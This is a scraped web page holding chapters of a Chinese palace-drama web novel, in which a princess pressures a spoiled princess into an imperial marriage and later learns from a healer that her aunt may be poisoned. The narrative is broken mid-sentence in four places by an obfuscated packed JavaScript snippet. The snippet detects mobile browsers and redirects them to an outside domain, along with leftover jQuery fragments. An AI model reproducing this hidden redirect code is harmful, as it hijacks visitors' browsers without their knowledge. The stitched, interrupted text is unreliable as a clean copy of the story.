35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446120|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “起来吧。”皇上放下手中的折子,微笑着看向苻庆。“庆儿,朕已经如你所说要宁国公收养那婢女为义女了,同时还吩咐下去不日会由吏部准备一份名单,在国子监中选拔佼佼者。国子监众人听到消息瞬间一哄而散,近几日已经都回国子监用功读书去了。此事总算是结束了。” “陛下圣明。”苻庆低头说道。 “多亏了庆儿一心为朕着想、为朝廷着想,朕可要好好封赏你。” 本来要推辞,苻庆忽然想到邓嬷嬷的话。“既然如此,儿臣谢过陛下。” “除此以外,朕还为宁国公府添了另一门喜事。”皇上看起来很高兴的样子,“朕已经下旨要瑕英长公主嫁到孔家了,孔家是书香门第,想来正好可以管教管教瑕英长公主娇蛮的性子。” 苻庆没想到皇上如此直接就将这消息告知了自己,却还是立刻回应道:“陛下如此安排,孔家真是不胜惶恐。” “此次事件圆满解决,多亏了你入宫为朕想出这个法子。”皇上端起茶盏,“说起来,若不是见你定亲后懂事了许多,朕也想不到要为瑕英长公主赐婚一事。从前朕只觉得瑕英长公主任性了些,但到底还有宁国公夫妇管教着,不至于出事。经此一事才意识到,子女若从小不严加管教,日后便可能会惹出无穷的祸事来。父母威严而有慈,则子女畏慎而生孝矣。既然瑕英长公主的长公主名号是朕所赐,朕也就理所应当要担任起管教长公主的职责。” 苻庆动作一滞,心中百转千回,忽然意识到这样的安排还有如此深意。“陛下平日为国事所累,已然足够繁忙。竟还要抽出时间替宁国公教养长公主,实在是仁慈。” “庆儿,你长大了。只可惜,朕的这些儿女并不都如同你这般聪慧懂事。”皇上话锋一转,“朕的旨意传到宁国公府已经两日了,却只有宁国公一人到紫宸殿谢恩。你说,瑕英长公主为何如此不听话?难道她还没有明白朕的苦心吗?” “瑕英长公主年纪尚小,又是被宁国公夫妇骄纵长大,一时想不明白也是有的。只是陛下放心,宁国公忠心耿耿,现在知道女儿给陛惹出这么大的祸事一定是寝食难安,最终肯定会让瑕英长公主想通的。” “他最好是这样吧。”皇上靠坐在圈椅中,“朕只怕宁国公年纪大了,头脑昏聩,也会犯蠢。” 苻庆微微抿唇,最终还是下定决心跪在地上。“若陛下信任儿臣,儿臣愿意去宁国公府一趟,帮陛下劝一劝瑕英长公主。” “不愧是朕的好外甥女。”皇上点头,“其实你不说,朕也是这么想的。你与瑕英长公主年纪相仿,前些日子也刚被赐婚,想来她会愿意听一听你说的话。” “陛下放心,儿臣出宫后就立刻前往宁国公府。” 皇上摆手,“既然如此,朕也就不让你宫中久留了。只是一点,你记得要将这句话带到宁国公府。” 苻庆伏在地上,“陛下请讲。” “若宁国公再不好好管教长公主,朕的宗正寺还有许多管教皇嗣的法子。” 苻庆一惊,头埋得更低一些,“陛下放心。瑕英长公主聪慧,必不至于闹到此等结局。” 31. 收场 出了宫门换回公主府的马车,苻庆借口头晕要松醪按摩,将松醪叫到了马车上与自己同乘。 “怪不得宁国公连替长公主争都没争就入宫谢恩了。”听过苻庆的话,松醪也倒吸一口气,“说的也是。子不教,父之过。说到底此事是瑕英长公主一人引起,最终闹得陛下左右为难。陛下即便看在朝中权贵的面子上不能直接降罪宁国公,也要想办法对宁国公府进行敲打。如今宁国公位极人臣,儿子们又大多身居朝廷要职。若宁国公最终还能再找一个门当户对的女婿,宁国公府便确实有些太过于惹眼了。” 苻庆点头,“陛下便是借此绝了宁国公在武将中继续寻找门户联姻的念头。孔家名声在外,是天下读书人的表率,偏偏子孙又都不争气,所以不担心他们未来借助宁国公府的势力在朝堂上大权独揽。这简直太符合陛下的要求,太适合让陛下用来制衡宁国公府了。” “只可惜瑕英长公主……”松醪叹气,“不过说来,此事也怨不得谁。瑕英长公主刁蛮,宁国公夫妇不加以制止,反而处处替她隐瞒善后。即便现在不出事,也难保瑕英长公主这一生都不会出事。” “我明白宁慈心不是好人,只是觉得陛下用这种方式惩罚宁国公府,对一个女子来说不免有些……”苻庆咬住下唇,“不公平。” 松醪也只能劝慰,“公主别想了,如今您奉命去宁国公府劝慰瑕英长公主,先做好陛下吩咐的事便是了。” 苻庆点头。 随着车夫“吁”一声勒住缰绳,马车停在了宁国公府门口。 由于苻庆有陛下口谕在身,宁国公府不敢怠慢。因此待苻庆刚走出马车车厢,便看到宁国公夫妇站在国公府门口。国公夫人更是直接走上前,搀扶着苻庆走下马车。 “国公与国公夫人这是做什么?晚辈哪里受得起。”苻庆看向宁国公。 苻庆幼时曾经在锦西城见过宁国公,虽说记忆已经模糊,但还记得宁国公是留着一把大胡子。传闻说宁国公极宝贝自己所留的胡须,壮年时只因曾在战场上被敌军一士兵斩断过一次胡须,便在与对方作战时一马当先众创敌军,立下赫赫战功。而苻庆的父亲曾做过宁国公军中副将,因此对宁国公很是敬重。如今时隔多年再次相见,宁国公头发已经花白,胡须也变成了灰白色。 看着宁国公的样子,苻庆忽然想起自己的父亲。若是爹还活着,此时会不会也已经有了白发?卸甲归田后会不会回到京城?会不会也会在自己回府时特意到家门外迎接自己? “多谢苻庆公主愿意跑一趟,替我们劝一劝阿慈。”宁国公拱手说道:“阿慈被我们娇惯坏了,罪责都在我一人身上,还望公主多多包涵。” “宁国公这是哪里话,我与长公主年纪相仿,此次只不过是拜会一下。”苻庆微笑,“宁国公与夫人爱子心切,我也是能够理解的。” 走入国公府,国公夫人随苻庆一同坐轿去了宁慈心的院子。一路上国公夫人讲了许多话,从国公夫人的话中苻庆大概能够知道宁慈心在府中发了多大的脾气,怪不得连入宫谢恩都没有跟着。 到了院子,还没进屋,苻庆便听见屋里传来摔东西的声音。 国公夫人对站在院子外的婢女问道:“怎么回事?长公主还在发脾气吗?” 那婢女垂着头,“夫人,长公主又把屋里的东西全砸了。” 国公夫人眉毛竖起来,“难道你们是死的?怎么不知道进去拦着长公主?” 院子外站着的婢女立刻都跪在了地上,“夫人饶命,奴婢们实在不敢进去。” “大胆!买你们回来是做什么用的!你们……” “国公夫人。”苻庆出言制止了对方的责骂,“咱们还是赶紧进去看一看长公主吧。” 为了防止误伤自己,苻庆特意走在了国公夫人身后稍远处。果然国公夫人刚一打开门,一个茶盅子便被扔了过来,几乎是擦着国公夫人的脸飞过去,重重砸在了门上。苻庆还好,反而是松醪被吓了一跳,几乎是立刻挡在了苻庆身前。 “阿慈!”国公夫人厉声叫道。“你胡闹什么呢?还不赶紧放下茶壶!摔碎了划破你的手怎么办?” 苻庆示意松醪站在屋外等候。自己走进屋,果然看到一地狼藉。满屋里到处都能看到摔碎的瓷片、被扔在地上的书籍纸张,还有不知道在地上呆了多久的饭菜。 又是一个浪费粮食的,苻庆在心中暗自想道。 宁慈心此时才看到走进来的是国公夫人和苻庆,先是哭着抱住国公夫人的腰,后来又在国公夫人怀中对苻庆大喊:“你来做什么!你个天煞孤星,难道是来看我笑话的吗?” 早该想到会是这个画面,苻庆在心里翻了个白眼。宁慈心这个蠢货,究竟是怎么做到次次都能一见面就让自己想要揍她呢?联想到之前自己和程怜香两个人在府里替她感到不平,瞬间感觉心里的同情已经彻底被磨灭了。要是程怜香也能来看一看这幅场面就好了,保管他也再也不想同情这个疯子。 “闭嘴!”国公夫人一把拉住宁慈心,“苻庆公主是奉陛下之命前来看你的,你胡说八道什么!” 听了这话宁慈心也不敢再对苻庆说什么,扭过头又对着国公夫人哭诉起来,“娘!娘!您救救女儿,女儿不想嫁啊!” “瑕英长公主,此次赐婚乃是陛下圣旨,您说不嫁难道是要抗旨不从吗?即便您不为自己想,也应当为国公夫妇想一想,”苻庆慢条斯理开口,“抗旨不从是什么下场,您都已经十六了,难道这点朴素的道理还不明白吗?” 宁慈心收住哭声,目光恶狠狠地看着苻庆,却又不敢再说什么。苻庆只看着她的眼神,就知道她现在心里正在怎样恶毒的咒骂自己。 国公夫人从中打圆场,“公主,阿慈被我们娇纵坏了,实在不是故意的。您千万别和她一般见识。” 宁慈心被国公夫人这一说,又咧着嘴哭了起来。 “娘!我求求你,你救救我!女儿不嫁啊!女儿宁愿去死!” 国公夫人被宁慈心哭得肝肠寸断,也跟着抹起泪来,“阿慈乖,别胡说。你若是死了,娘也不能活了。” 看着母女两人逐渐变成哭作一团,苻庆只觉得脑袋越来越大。原先还想着国公夫人见过大风大浪,一贯识大体,能够帮助自己劝一劝宁慈心。这下终于知道宁国公夫妇二人为什么大风大浪都走过来了,反而对这个女儿如此纵容、竟连半点办法都没有。说实话,若不是皇上下了旨意,她此刻真想转头就走。 “国公夫人,我斗胆请求您出去,让我和瑕英长公主单独待一会。”苻庆笑一笑,“我想瑕英长公主即便再生气,应该也不至于对我动粗的。” 国公夫人看看苻庆,又看看还趴在自己怀里哭的女儿,最终狠了狠心。“阿慈,你要听苻庆公主的话,娘就在外面站着。” 见国公夫人走出了门,苻庆颇为自来熟地选了张圆凳坐下。“瑕英长公主,咱们两个好好聊一聊吧。” “你若是替陛下做说客的,此时便滚吧。” “既然你还知道称呼陛下,看来就还没有疯。”苻庆微笑,“既然知道陛下是天子,为何又敢不听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446121|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从天子的赐婚?不妨告诉你实话,陛下对于你未进宫谢恩一事,很不高兴。” “我不喜欢这桩婚姻,为什么要进宫谢恩?”宁慈心抬起下巴。 听了宁慈心这话,苻庆只觉得想笑,反问道:“不喜欢?不喜欢你平日里就该收敛性子、谨慎做人,谁让你如此大胆?身为长公主竟敢苛待下人,你难道不知道长公主受天下人供养,便是天下人的表率吗?” “她是我们家的奴婢,我想让她生她便能生,想让她死她就得死!”宁慈心咬牙切齿,“她那个爹自己为了赶考卖了女儿,如今竟然敢到我们国公府来闹事!我们怎么可能不赶他走?” “可你忘了,你们全家同样是皇上的奴婢。” 宁慈心愣住。 “你若执意抗旨不从,你以为你死了这事情便可以结束了?到时候皇上让你们家死,难道你父亲也能护住你苟活于世吗?”苻庆厉声问道。 宁慈心深呼几口气,最后竟一屁股坐在了贵妃榻上。 “瑕英长公主,你父母年纪都大了,你还有三个哥哥,有十数个侄子侄女。难道你忍心因为你一个人,要他们全都为你陪葬吗?” “我……”宁慈心看向苻庆,“我可以去死,但我不想嫁到孔家。” “你以为你去死和你抗旨不尊有什么区别!”苻庆反问,“难道你以为你死了,那些文人就可以放过你父亲、放过整个宁国公府吗!” 宁慈心难以置信地看着苻庆,“这么说,难道此事只有这一个收场的法子吗?” 当然有其他办法,但是皇上不想用。苻庆看着眼里闪着泪光的宁慈心,“没有,你只能嫁给孔孚。” 宁慈心蓬头垢面地坐在贵妃榻上,身上的衣服满是脏污。此时被苻庆一席话点清利害,知道彻底没有了翻盘的可能,只能颓废地坐在那里。 苻庆叹口气,站起身走到离宁慈心更近一些的位置。 “瑕英长公主,我知道这场婚事是你受了苦头,但是孔家到底有祖业在手,绝不至于让你沦落到为衣食操心的地步。孔孚虽说年纪大了些,但也正值盛年,如今已经中举,能够做个小官。更何况低嫁还能够帮助你日后拿捏夫家,不论受了任何委屈都可以回家告诉国公爷,让你父亲替你出气。”苻庆忽然想到自己,“至少你还有你父母能够听你哭诉,愿意为你出头。” 见宁慈心已经不再说话,苻庆自觉该说的话已经都说了,也就打开门走了出去。 国公夫人正站在屋檐下悄悄擦眼泪,见苻庆走出来,赶紧走上前。“好孩子,真是难为你了。” 苻庆微微一笑,“国公夫人哪里话。” 二人又一同坐着轿子来到宁国公府门口,国公夫人拉着苻庆的手送到门口,不由得感慨道:“若是我家阿慈能有你一半懂事,我和国公爷也不至于如此难过了。” 苻庆想了想,最终决定还是要把心里话说出来,“国公夫人,古话说父母之爱子则为之计深远。您和国公爷老来得女,舐犊情深是可以有的。但若是是非不分、一味纵容,这就不是爱而是恶了。瑕英长公主今日下场便与您和国公爷这些年的纵容袒护是分不开的。我不怕您生气,陛下要我传话,若是瑕英长公主再任性妄为,就要将瑕英长公主交到宫中的宗正寺处置了。我想您一定也不想见到那样的结局。” 国公夫人一愣。 “该说的话我已经都说完了,陛下的旨意我也已经带到。至于后面瑕英长公主如何想通,便要看您和国公爷愿不愿意狠下心了。”说完话,苻庆福身作别,上了自己的马车。 32. 求人 从宁国公府出来,苻庆回宫复旨。皇上好像很满意苻庆的办事效率,在听苻庆回话的过程中一直笑着点头。从紫宸殿告退出来时天色已晚,苻庆想着不如直接到晏呢殿蹭顿晚饭再回府,便叫腰辂改道往晏呢殿走。 刚到晏呢殿苻庆便感觉不对劲,这是宫中各殿传晚膳的时辰,晏呢殿此时却静悄悄的,连忙碌的婢女都不见几个。苻庆和松醪快步往殿内走去,差点和花露撞在一起。 “花露,我姨母呢?” 花露见是苻庆,连忙先跪下请安。 “公主,贵妃娘娘身子不适,已经休息了。” “身子不适?这是怎么回事?”苻庆有些着急,一把将花露从地上拉起来,“太医来过了吗?怎么说的?” 花露见苻庆情绪激动,先将苻庆带到了晏呢殿偏殿,也就是苻庆原先一直居住的地方。苻庆出宫后,此处一如往昔,薛贵妃嘱咐人日日打扫,因此还像苻庆离开时那般。 “公主,奴婢已经传膳,怎样都要让公主吃饱了饭再回去。”花露福身,“公主放心,太医已经来过了。说是贵妃娘娘连日操劳,有些气虚乏力,吃几服药调理调理,多休息几日就会好的。贵妃娘娘怕您担心,所以才不肯告诉您的。” 苻庆松了口气,又觉得有些不安心,“姨母这几日是怎么回事?前几日刚病过,怎么如今又病了?我记得从前姨母虽说身体不好,也不至于这般虚弱啊。” 花露叹口气,“前几日为着给陛下侍疾,娘娘操劳过度。回宫后还记挂着抄写血经一事,怎么都不肯多休息。晚上又休息不好,夜夜要点了安神香才能睡下。奴婢劝过几次娘娘都不肯听。” 苻庆跟着叹气,“姨母的脾气看似柔弱,实则认定的事情是几头牛都拉不回来的。为后宫子嗣祈福抄写血经一事是姨母下定决心的,轻易不会更改。” “说实话,奴婢日日看着娘娘在指尖放血,只觉得心疼不已。如此下去,奴婢真怕娘娘会……”花露说不下去,垂着头默默流泪。 松醪连忙上前扶住花露,“你怎么回事?娘娘正在病中,你却在此流泪,也不怕冲撞了娘娘。快别哭了。” 苻庆也掏出手帕递给花露,“你别担心。我觉得宫中太医既然这么说了,就有他们的道理。只要姨母这几日安心调养,应当就会康复的。若还不行,我就从宫外寻了大夫,再为姨母好好诊治一番。” 花露点头,渐渐止住了哭声。 苻庆吃完晚膳,见薛贵妃已经安稳入睡便不再久留,拿着花露给自己包好的茶叶便离开皇宫回了公主府。刚到公主府,苻庆赶紧往揽晴轩走来。 “程怜香!” 程怜香此时正在沐浴,听到苻庆的声音吓了一跳,生怕对方会直接推门而入,因此等不及擦干身上水珠,抓起里衣就往身上裹。 门口的婢女此时已经拦住了苻庆,“回公主话,程伶人正在沐浴呢。” 苻庆呼出一口气,本想直接推门而入,转念一想还是刹住了。“既然如此,我在他屋里等他。”说完径直走进了程怜香的房间。 听到苻庆脚步声渐行渐远,程怜香这才知道虚惊一场,不免长舒一口气。不过想到苻庆今日入宫后一直未归,现在又是漏夜前来,可能会有正事要告诉自己。程怜香也无心继续沐浴,换好衣服走了出来。 “你怎么回来这么晚?” 苻庆本来坐在圈椅上喝茶,见程怜香走进来,赶紧招手要程怜香走过去。 “程怜香,你快过来,今日我有正事要拜托你。” “正事?”程怜香现下没穿外衣,本想进屋先找一件外衣披上,可是见苻庆很急迫的样子,最终还是直接走了过去,“怎么了?你今日入宫到底所为何事?” “入宫的事不重要。”苻庆一把拉住程怜香的袖子,“程怜香,你能不能再请那日为我医治的顾仙人来一趟?” “你生病了?” 苻庆摇头,“不是我,是我姨母。” “贵妃娘娘病了?” 苻庆点头,“今日要不是我突发奇想去晏呢殿一趟,姨母还瞒着不肯告诉我呢。花露说姨母是前几日侍疾累着了,可我觉得姨母这几个月总是小病不断,怎么看都觉得不太对劲。再加上我姨母常年茹素,还要放血抄写经书,我总觉得这些都有损我姨母的身体。” “放血抄写经书?”程怜香睁大眼睛,“贵妃娘娘真是菩萨心肠。我原先只听说过这件事,知道即便是庙里的僧人也很少能够做到这一点。贵妃娘娘是要求什么事?” “我姨母是为着皇上的子嗣。”苻庆说着,自己叹了口气,“说起来我姨母也是个傻子,自己伤了身体不能生了,居然还要为其他女人祈福,整座后宫我都见不到第二个像我姨母一般傻的后妃了。” 程怜香回忆道:“那日宫宴我见贵妃娘娘年纪尚轻啊,怎么会伤了身体不能生了呢?这是怎么回事?” “六年前我之所以入宫,便是因为我姨母小产。圣旨中说我姨母由于怀胎八个月小产,伤及根本,再也无法有孕了,所以才让我母亲入宫探望妹妹。但是那几日恰逢我娘亲着凉,实在无法立刻远行,最终才决定让我跟着队伍赶回来。”苻庆一想到六年前的事,心里便唏嘘不已。 难道说人生真的是无数场阴差阳错的总和?若不是六年前姨母小产,若不是娘亲偏偏生病,自己无论如何都不可能离开锦西城的,也不可能逃脱得了死于辽人之手的结局。 “怪不得,贵妃娘娘看着是那样年轻。”程怜香心中也跟着难过,“即便我们在宫外也知道,皇宫中的孩子娇贵,即便是养到五岁上也有夭折的。只可怜那个孩子,都到八个月了。” “听说还是个男孩。”苻庆摇头,“幸好还有表弟在,否则我真不知道我姨母该怎样挺过来。” 程怜香蹲下身,视线与苻庆平齐,“你放心,明日我就去找顾老仙。此时正值各地茶叶上市,顾老仙是不会轻易离开京城的。” “好。”苻庆微微一笑。 程怜香忽然蹲下,苻庆看着他的时候目光不自觉下移,这才发现程怜香的领口因为他的动作变得有些松垮,甚至能够看到锁骨处的肌肤。 苻庆忽然不说话了,程怜香还以为苻庆正沉浸在悲伤中,因此十分认真地盯着苻庆的脸,希望对方能从自己的眼神中得到安慰。实则苻庆正在思考自己应该如何将程怜香领口松了的事情自然地讲出来,而不至于让程怜香再误会自己是对他的□□图谋不轨。 最终,却是程怜香自己发现苻庆好像一直盯着自己的脖子,后知后觉才发现自己里衣的系带松开了。 “你!”程怜香又羞又燥,连忙站起身,一把将中衣捂住。“你到底是怎么回事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446122|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !怎么说到这种事也能走神呢!” “我没走神啊,我看出来你是在安慰我啊。”苻庆眨巴着眼睛。 “那你在看什么呢!亏我还以为你是想到往事伤心不已,原来是个色坯子!” “不就看了你几眼,你又不会少块肉!”苻庆仰躺在圈椅椅背上拉伸背部,“程怜香,我已经做了六年孤儿了。若是每每想到六年前的事情便伤心不已,我的眼泪早就流干了。你以为你还能在这看到一个活蹦乱跳的我吗?” “我……”程怜香觉得苻庆的话说得有理,又觉得苻庆这话说得可怜,最终只是捂住胸口,转身向屋内走去。“我去套个外衣再说。” 苻庆没有再跟上,目光跟着程怜香的背影走进卧房后,起身离开了揽晴轩。因此等到程怜香穿上外衣时再走出来,只能看到一盏茶杯还放在桌上。 心中有些怅然若失,程怜香走到桌子边,伸出手用食指在茶杯碗口不断描摹。 “是我的幻觉吗?”程怜香自言自语道。这几日不知为何,苻庆调戏他的次数少了许多,从前这时候苻庆早已经跟着程怜香进卧房了,如今却是头也不回地就离开了。 “难道她真的厌倦我了?”程怜香叹口气坐在圈椅上,端起桌上的茶盏,手掌微微用力将茶盏捏在掌心。半晌,将茶盏中苻庆留下的茶水一饮而尽。 第二日一大早,程怜香便去找了顾仙人。而顾仙人因为上次到公主府居然没喝上一口茶叶正懊恼不已,因此二话不说便跟着程怜香回来了。 听说顾仙人到了,苻庆立刻让松醪泡好从宫中带出来的茶叶,准备上各色茶点果子,在正堂见到了传说中的顾仙人。 “草民见过公主。” 苻庆连忙上前扶住顾仙人,“老先生折煞我。上次多亏老先生漏夜前来救了我的命,一直没能请老先生到府上喝盏茶,是我的错。” 顾仙人早已经看到苻庆身后松醪手中端的茶盏,搓搓手有些迫不及待,“公主这是哪里话。治病救人乃是我分内之事,更何况你是小香香的主人,于情于理我都会出手相助的。” 突然被点名,站在一旁的程怜香忍不住翻了个白眼,“胡说什么!什么叫她是我的主人?我又不是被卖给她了!还有,你能不能别叫我小香香?” 顾仙人毫不客气,“那我问你,你若不是公主的人,现在为何在此?真是大胆,居然还敢这样对公主说话!”说完,又赶紧笑着对苻庆说:“公主真是仁善,小香香这般没规矩,您居然还不惩罚他。” 苻庆被逗笑,侧过身对程怜香说:“听见了吗?小香香,连老先生都觉得我该罚你。” “你怎么也……”程怜香撇撇嘴不说话了。今日顾仙人在,程怜香连说话都谨慎了一些。说不过顾仙人是一方面,另一方面也是因为顾仙人聪明,若是他话说多了,难保不会被顾仙人发现自己已经爱上了苻庆。 “好了,老先生,咱们就先落座吧。”苻庆示意顾仙人落座,“这是我昨晚刚从宫里我姨母处带出来的茶叶。您放心,茶马司每回送到晏呢殿的一定都是好茶。您快尝尝。” 顾仙人听了这话,赶紧端起茶盏。掀开茶盖,鼻子凑近闻了闻。“不愧是宫里的茶,这碧螺春汤色碧绿、茶香清雅,一闻便知道是好茶。” 见顾仙人夸赞,苻庆放下心来,“老先生喜欢便好。” 33. 机会 顾仙人喝一口后,闭上眼回味起来,满意地点点头。“好啊,好啊。真是多亏了公主,若不是您,我只怕此生都喝不上一口贡茶了。” 程怜香斜了一眼,“呸,你应该谢谢我吧。若不是那晚我强行把你从被窝里拖出来,你还能有今天?” “行了小香香,我是替你说话呢,你没听出来啊?傻不傻?” 苻庆被顾老仙和程怜香的相处方式逗乐,拿起一块百合酥咬一口。“我原以为程怜香只会怼我一个人,如今才发现他是逮谁怼谁啊。” 顾仙人点头,“公主莫气,小香香的性子就这样。从小我就说他是属毛驴的!只能顺着毛胡噜,若是逆着毛,是会尥蹶子伤人的。” 苻庆莞尔一笑,“还真是这回事!早知道我就应该一开始便去请教老先生,也不至于摸索许久才能找到门道了。” “摸索许久?”顾仙人看向程怜香,面上露出八卦的神情,“找到门道?这么说,小香香如今也已经从百炼钢化为公主的绕指柔了?” “你们俩今日见面究竟是为着什么!难道是为着议论我的吗!”程怜香呼出一口气,“程老仙,公主要你入宫替她姨母诊病,你若同意了领着茶叶赶紧走。” “真的假的?”程仙人看向苻庆,“公主可是有能用到我的地方?” “确实如此。”苻庆有些不好意思,“说起来真是唐突,本该是为着感谢您上次救命之恩请您喝茶,谁知道又有麻烦事要拜托您。” 顾仙人听完苻庆讲薛贵妃这段时间生病的前因后果,捋了一把胡子。 “贵人虽说曾经小产,但依公主所言并非久病之身。更何况贵人还坚持茹素抄写血经,若是身体虚弱者肯定抄不了三年,一开始便会被宫中太医叫停了。这样看来,贵人近日确实病得蹊跷。” 苻庆心脏被揪起来,“蹊跷?老先生的意思是说,我姨母的病不好?” 程怜香连忙推了顾仙人一把,“你会说话就好好说,平白无故吓唬她做什么?” “公主放心,病得蹊跷是指生病的原因非同寻常,并不是说病重。有些病虽说蹊跷,康复起来也很迅速。” 见顾仙人这样讲,苻庆的心重新咽回肚子里,面上也恢复了微笑。 “既然得了老先生这样的保证,我便放心了。不瞒老先生说,若是您再瞧不出什么,我真要请宫中卜筮官去晏呢殿算一卦了。前些日子我姨母生病也就罢了,偏偏我去宫中请安一趟,回来竟也生了病,也就是上次请您来公主府的那回。”苻庆有些无奈地笑一笑,“说起来老先生刚才说的对,这病生的真是有几分蹊跷。” “公主刚才的意思是说,您之前那次生病前也去过一次贵人的宫里?”苻庆本是随口一说,却没想到顾仙人却放下茶盏,显得很有兴趣的样子。“不知公主还能否想起来您到贵人宫中曾吃过什么吗?” “那日我本就是入宫陪姨母用午膳,所以还吃了挺多东西的。出宫后我还去醉仙楼喝了几杯酒……”说到这苻庆看了程怜香一眼,对方果然甩了个白眼不看自己了。苻庆不好意思地笑一笑,“老先生见笑了,我平日里饮食上便不太节制,吃坏了肚子也是常用的事。” “这么说来倒是也有可能。”顾仙人摆摆手,“公主莫怕,以后只要精心调养,是一定会好的。您是这样,宫中的贵人也是这样。” “既然如此,我也就放心了。”苻庆笑一笑,“那不如咱们就选在两日后入宫……” “公主且慢。”顾仙人面上仍然笑着,但却已经放下了茶盏。“刚才我只是说娘娘病得蹊跷,但并未答应要入宫为娘娘诊病。” 苻庆一愣,她没想到自己的提议居然会被拒绝。 程怜香听了这话后却很是生气,他知道苻庆与薛贵妃感情极深,也知道平日里自己帮不上苻庆什么忙。这好不容易能够帮上一次,却没想到顾仙人并不配合。因此略显焦急地问道:“顾老仙,你发什么疯啊?这可是让你入宫为贵人诊病,是对医术的肯定啊!你怎么能说不去呢?” 苻庆却是觉得至少顾仙人并没有直接拒绝自己,这就说明未来也许还有转圜的余地,因此赶紧给顾仙人递了个台阶。“怪我,怪我太莽撞了,想必老先生心中一定还有什么疑虑。” 顾仙人点头,“公主所言极是。皇宫大内毕竟不是谁人都能够去的地方,我一把年纪了,还是个自由惯了的人。只怕入宫去会坏了宫中的规矩,反而给贵人招来麻烦。以我刚才听公主所讲,我断定贵人身子应当并无大碍,皇宫中的太医便能够帮助贵人调理,还请公主不要太担心才是。” “老先生这是哪里话。宫中规矩多,老先生心有顾虑也是应当的,怪我没注意到,有些强人所难了。”说着,苻庆赶紧招手示意松醪为顾仙人满上茶水,“今日便当是我为了那日老先生救我性命的答谢,老先生不要客气,尽管喝便是。我还从宫中领了几包茶叶,一会您回去的时候正好带着。” 顾仙人拱手答谢,假装看不见程怜香眼中的怒火。 两人又寒暄几句。见已经接近正午,苻庆极力邀请顾仙人留下用膳,却被顾仙人推三阻四拒绝了。苻庆担心自己太过急切会导致顾仙人提前离开京城,最终只是让松醪将包好的茶叶交给顾仙人,备好马车送顾仙人离开。 程怜香陪着顾仙人走到公主府门口。 “你今日到底是怎么回事?你明知道她叫你到府上来就是有事求你,你还摆什么架子啊?”程怜香有些生气。“如今你要怎么办?难道你真的不愿意进宫?还说什么规矩大,我从来没见你怕过。” “小香香,我瞧着你怎么还和小时候一样?喜怒全都写在脸上。”顾仙人捋了一把大胡子,“你以为有些话你不说我便不知道了?从小到大你几时扯谎没有被我发现过?” 程怜香心中紧张起来,“你胡说什么?” “我说什么你心里不清楚吗?”顾仙人停下脚步,“还是说你要我现在走回去,当着公主的面再问你一遍呢?” “你!”程怜香拉起顾仙人的胳膊,将对方拖到墙角僻静处,左右看了看才放心说道:“你别胡说,她什么都不知道。再说她是要嫁人的了,我即便告诉她又有什么用呢?” “果然如此!”顾仙人伸出手指指着程怜香,“你就是喜欢上苻庆公主了!” “低声些!低声些!”程怜香着急,“我说了公主什么都不知道。” “说实话,一开始我也只是猜测,没想到一试便试出来了。”顾仙人收回手,摇着头叹了口气,“你呀你,这回真是栽了大跟头了。” “猜测?”程怜香一愣,“那你一开始以为是什么?” 顾仙人一摊手,“我还以为你是偷了公主的钱呢。” “你!”程怜香推了顾仙人一把,“胡说什么!” 两人继续向门口走去。 “既然如此,有些话我也就不瞒着你了。”顾仙人慢条斯理地开口,“只是究竟要不要告诉公主,又是怎么告诉公主,就要看你的意思了。” “你这话什么意思?”程怜香第一反应是关于薛贵妃的病,“苻庆她姨母的病是不是有问题?是不是病得很重?是不是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446123|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为这个你才不愿意入宫的?” “我先说明,这些事只是我的猜测。若非你真的喜欢她,这些话我原本是准备烂在肚子里绝不多嘴的。”顾仙人看向程怜香,“上次我到公主府诊病时便曾经对你说过,公主迟早还会再来找我的。只是我没想到,此事竟不是从公主府起,而是从宫里来的。” 程怜香一把拉住顾仙人。 顾仙人叹口气,“我上次来搭脉便发现,公主看似是吃坏了东西肠胃不和,实则却更像是中毒。我原想着下毒者是在公主府下的,如今看来倒像是在宫里。公主入宫用膳,只不过是被那人误伤罢了。” “你说什么?”程怜香皱紧眉头,“她被人下毒了?” 